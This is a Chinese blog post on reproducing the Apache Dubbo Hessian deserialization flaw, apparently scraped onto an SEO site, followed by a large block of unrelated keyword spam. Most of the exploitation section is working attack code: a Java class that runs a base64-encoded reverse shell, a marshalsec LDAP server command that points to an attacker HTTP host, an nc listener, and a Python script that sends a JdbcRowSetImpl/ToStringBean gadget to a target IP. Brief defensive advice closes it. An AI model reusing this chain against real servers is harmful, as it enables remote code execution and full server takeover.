Dubbo反序列化漏洞复现 -天下标王
freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Dubbo反序列化漏洞复现
2021-06-30 16:21:16

一、漏洞描述

1.1 漏洞原理

Apache Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,漏洞存在于Apache dubbo默认使用的反序列化工具hessian,服务消费者发送请求给服务的提供者,服务提供者会将消费者提供的参数反序列化,在反序列化的过程中,如果传入的参数存在一些恶意请求,或恶意代码,就会导致反序列化漏洞。

1.2 漏洞危害

通过反序列化漏洞可控制服务器权限:查看任意文件数据、执行任意外部命令、上传任意木马、通过其跳板进行内网横向,进而控制其它存在漏洞的服务器。

1.3 影响版本

  • 2.7.0 <= Apache Dubbo <= 2.7.4.1

  • 2.6.0 <= Apache Dubbo <= 2.6.7

  • Apache Dubbo = 2.5.x

1.4 空间测绘

站点服务国家分布情况,以及端口使用情况:
image.png

GitHub star数量:
image.png

1.5 框架特征

  1. 基于Basic HTTP认证方式的可通过返回包:
    image.png
    image.png

  2. 可以根据端口扫描版本特征:
    image.png

二、漏洞利用

本操作使用python模拟dubbo通信协议发送rpc请求,数据包含带有无法识别的服务名称service_name和方法名称method_name,及恶意参数(JdbcRowSetImpl等),在反序列化这些恶意参数时便会触发JNDI注入,导致执行任意恶意代码

2.1 信息收集

使用nmap扫描服务器端口,侦测到于35052端口开启了dubbo服务:
image.png

2.2 编译恶意文件类

IDEA新建一个Java项目,在Java项目下新建一个java文件(expRevShell.java),对待执行的命令使用base64加密,写入到java文件中:
image003.png

具体的Runtime类执行的外部命令恶意代码如下:

public class expRevShell {
    public expRevShell(){
        try{
            java.lang.Runtime.getRuntime().exec(
                    "bash -c {echo,<base64加密后的待执行命令> }|{base64,-d}|{bash,-i}");
        }
        catch(java.io.IOException e){e.printStackTrace();}}
}

使用javac对java文件进行编译:
image005.png

2.3 HTTP服务器架设

在一台公网主机上启动HTTP服务,并将编译完成的class文件放入web站点根目录下,方便加载调用:
image007.png

2.4 LDAP服务监听端口

使用marshalsec启动ldap服务,并于8087端口进行监听:
image.png

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://<公网主机IP地址>/#expRevShell 8087

2.5 Netcat监听端口

公网主机上另起一个shell,开启nc监听:
image012.jpg

2.6 发送恶意RPC请求

将服务消费者待序列化的恶意参数打入到受害者的服务器中,使其进行反序列化,执行先前的恶意参数:
image014.jpg

使用Python模拟dubbo通信协议发送RPC请求的EXP代码如下:(dubbo3.py)

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('47.xxx.xxx.246', 35052)
JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://<监听公网主机的IP地址>:8087/expRevShell",
      strMatchColumns=["foo4"]
      )

JdbcRowSetImplClass=new_object(
      'java.lang.Class',
     name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(    'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

2.7 利用成功

执行exp后,成功拿到对方服务器的shell权限(root权限),完全控制对方服务器:
image.png

执行对方服务器上的任意命令:
image.png

查看操作系统信息:(其它敏感操作将不再进行展示!)
image.png

三、防御方式

3.1 代码加固

漏洞被利用的类在rome-{version}.jar包中,公网服务可以考虑自查是否引用了rome-{version}.jar包,如果引用了可以考虑重写toString()方法,重新编译并加载到生产环境;

3.2 版本升级

将dubbo升级到最新版本 https://dubbo.apache.org/zh/docs

3.3 出网限制

反序列化漏洞利用需要远程加载恶意类,如不影响业务可以将服务器配置出外网限制;

3.4 访问控制

使用IP地址白名单的方式配置可信IP,非可信IP禁止访问。

# 反序列化漏洞 # 漏洞复现 # 漏洞原理 # dubbo反序列化漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录

相关内容推荐

山东行业关键词排名推广方式青海关键词排名优化价格宁波行业关键词排名渠道有哪些博客优化关键词排名整站百度关键词排名哪家好房产关键词排名报价平台淘宝搜关键词 排名不准确关键词排名工具 sitseo关键词排名查询软件外链排名关键词有用吗信息化关键词排名口碑推荐昆明关键词排名推广公司哪家好徐州关键词排名推广关键词排名优化搜2火星应城市网站关键词排名优化价格营口关键词自然排名公司多功能关键词排名不二之选如何查自己关键词的排名关键词排名拍金苹果专业马鞍山市网站关键词排名鹤壁搜狗关键词搜索排名系统关键词优化排名怎么写埇桥区关键词seo排名优化山东营销关键词排名优化百度关键词排名收费安徽品牌关键词排名哪家好四会关键词排名价格seo关键词排名都择火星下拉陕西关键词优化排名标题里关键词比例高排名靠前淘宝关键词排名榜关键词排名公司参谋易速达优化关键词排名优异易速达关键词排名怎么打快速关键词排名行动易速达深圳宝安关键词排名网站关键词排名忽然连云港关键词排名价格如何查看关键词的搜索排名淘宝关键词忽然排名靠前武汉关键词排名推广优化神马关键词排名价探究关键词排名下降的原因关键词优化网站排名下降河南哪里有关键词排名代理京东关键词排名查询软件关键词快速排名fn金手指5宝贝关键词怎么排名怀集seo关键词排名连衣围裙关键词排名黄山市关键词seo排名优化现在有什么关键词快速排名的嘉兴关键词排名阳泉关键词推广排名关键词快速排名找选火星推荐万万科技关键词自然排名公司周口网站关键词搜索排名推广河南关键词排名渠道广州增城网站关键词排名优化百万关键词排名提高方法wish怎么看关键词排名琼海关键词排名公司浙江关键词排名上首页湛江门窗关键词排名效果九江关键词排名策略荷塘区关键词seo排名优化刷百度关键词排名优化外包百科关键词排名鼓楼徐州网络推广关键词排名黑龙江关键词排名快北京关键词排名的软件刷关键词排名软件十佳易速达郑州关键词排名公司电话关键词排名和频率关键词竞价排名认定金手指关键词排名认可乐云seo安阳哪里有关键词排名厂家老链接如何提升关键词排名关键词排名软件管用易速达小红书搜索排名关键词优化湖北网站关键词优化排名除尘器关键词排名辽宁淘宝查关键词排名忻州全国关键词排名潍坊加快关键词排名效果公明关键词排名优化如何查询自己宝贝关键词排名关键词快速排名只选a火17星速卖通无线端关键词排名规则关键词排名系统收费标准美团关键词搜索排名怎么靠前搜索关键词排名采选火30星孝感市seo关键词排名怎么样搜索关键词排名被网站关键词排名可靠易速达北京关键词排名优化价格京东查询搜索关键词排名无锡360关键词排名快速上线律师关键词排名优化系统怎么样优势关键词排名收费网站关键词排名外包aso关键词排名多久更新天津搜索关键词排名优化费用产品关键词排名不稳定怎么办神马关键词排名点击软专业关键词排名规定关键词排名公司询问y火17星平谷关键词排名优化关键词排名点击首选火28星易语言关键词查排名源码2017关键词怎么做排名生意参谋哪里查看关键词排名关键词的排名服务手机网站关键词排名点击率郑州搜狗长尾关键词排名拼多多关键词排名怎么计算手机关键词排名怎么做百度关键词排名认哥网营排名小学关键词排名南岗区关键词seo排名优化关键词排名优化外包 s速刷关键词排名靠前老城区关键词seo排名优化陕西劫持关键词排名南通十大关键词排名襄阳360关键词排名尖草坪区公证关键词排名广东省实力强的关键词排名优化烟台关键词上线排名反映关键词的排名分数怎么能更好的提高关键词排名兰谱关键词排名优化研发网络关键词排名喜爱易速达不是网站的关键词能有排名吗湖南搜索关键词排名优化排名浙江微博关键词排名做视频排名关键词合作关键词排名优化关键词排名屎云速捷高手如何刷阿里巴巴关键词排名关键词优化排名qd云速捷氵关键词推广排名免费咨询淘宝产品关键词排名怎么提升百度360 搜索关键词排名关键词排名提升ゞ可在宙斯新广东关键词排名快关键词排名优化就找23火星铜川百度关键词排名为什么网站关键词排名不停关键词排名优化找5火星给力阿里关键词排名上不去河南排名快关键词推广价格海城手机关键词排名徐州关键词自动排名兰州关键词优化排名关键词平均排名 怎么算的开封新站seo关键词排名西安网店关键词排名关键词排名点击必火2星淘宝关键词换位置影响排名酒业公司关键词排名关键词排名可以火7星大同手机端关键词排名关键词seo排名首选火星推荐网站关键词如何排名靠前上海百度关键词排名软件怎么查自己设置的关键词排名武汉关键词点击排名哪家好红安县seo关键词排名商丘百度关键词搜索排名费用关键词优化柒金手指排名关键词点击拾金手指排名三优化排名关键词seo海口搜狗关键词排名推广软关键词优化排名软件青海推广关键词排名优化方案彩票类关键词排名出租潍坊高新关键词排名优化关键词的排名是由出价决定临汾关键词排名优化技巧关键词排名软件甄选火29星北京丰台关键词搜索推广排名百度关键词优化排名失败关键词排名提升诚信火24星泸州市关键词排名公司电话智能科技行业百度关键词排名临高县关键词排名平顶山整站关键词自然排名价格优化关键词排名 site公司关键词排名外包优化关键词排名优异易速达手机关键词排名程序拼多多关键词排名查询网站江门关键词排名怎么做哈尔滨关键词排名软件亚马逊关键词查排名珠海教育关键词排名手机关键词排名怎京东关键词排名和搜索排名网站关键词排名瞬间全部没了

合作伙伴

天下标王

龙岗网络公司
深圳网站优化
龙岗网站建设
坪山网站建设
百度标王推广
天下网标王
SEO优化按天计费
SEO按天计费系统